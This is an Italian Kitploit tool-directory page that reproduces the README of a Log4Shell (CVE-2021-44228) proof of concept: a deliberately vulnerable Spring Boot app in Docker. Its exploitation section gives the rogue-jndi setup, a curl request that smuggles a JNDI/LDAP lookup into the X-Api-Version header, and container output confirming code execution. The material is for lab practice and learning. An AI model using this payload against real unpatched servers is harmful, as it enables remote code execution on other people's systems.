Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-44228-poc — applicazione di esempio log4shell (CVE-2021-44228) | Kitploit
Strumenti/GitHubGitHub/kadantte/cve-2021-44228-poc
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneLab e Pratica
GitHubkadantte/cve-2021-44228-poc

CVE-2021-44228-poc

applicazione di esempio log4shell (CVE-2021-44228)

Vedi Repository
434 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Applicazione vulnerabile di esempio Log4Shell (CVE-2021-44228)

Questa è un'applicazione vulnerabile quasi copia/simile a https://github.com/christophetd/log4shell-vulnerable-app

Le differenze principali sono l'uso di Maven invece di Gradle e l'utilizzo di rogue-jndi.

Questo repository contiene un'applicazione web Spring Boot con Maven vulnerabile a CVE-2021-44228, soprannominata Log4Shell.

Utilizza Log4j 2.6.1 e la versione 1.8.0_181 di JDK.

Esecuzione dell'applicazione springboot

Crea ed esegui l'applicazione docker springboot:

root@kitploit:~
docker build . -t vulnerable-app
docker run -p 8080:8080 vulnerable-app

Sfruttamento

  1. git clone https://github.com/veracode-research/rogue-jndi
  2. cd rogue-jndi
  3. mvn package
  • java -jar target/RogueJndi-1.1.jar --command "touch /tmp/test_if_rce" --hostname "192.168.1.x"
  • Apri un secondo terminale

    1. curl localhost:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.x:1389/o=reference}'

    Dove in entrambi i casi 192.168.1.x è il tuo IP

    NOTA: non usare localhost, usa il tuo indirizzo IP privato effettivo.

    Ora controlla se l'RCE ha avuto successo:

    root@kitploit:~
    $ docker ps                                 
    CONTAINER ID   IMAGE            COMMAND                  CREATED         STATUS         PORTS                                       NAMES
    04536dbd1dff   vulnerable-app   "java -jar demo-0.0.…"   2 minutes ago   Up 2 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   gallant_easley
    
    root@kitploit:~
    $ docker container exec -it 04536dbd1dff ash
    /opt/app # ls /tmp
    hsperfdata_root                          tomcat-docbase.8080.4585569232401237075
    test_if_rce                              tomcat.8080.1707298461175346507
    

    Come puoi vedere, il file test_if_rce esiste. Ciò significa che l'RCE ha avuto successo.

    Note

    Codice e idee sono stati presi dai seguenti repository:

    • https://github.com/rayhan0x01/log4shell-vulnerable-app/tree/mod

    • https://www.lunasec.io/docs/blog/log4j-zero-day/

    • https://github.com/christophetd/log4shell-vulnerable-app

    Scarica lo strumento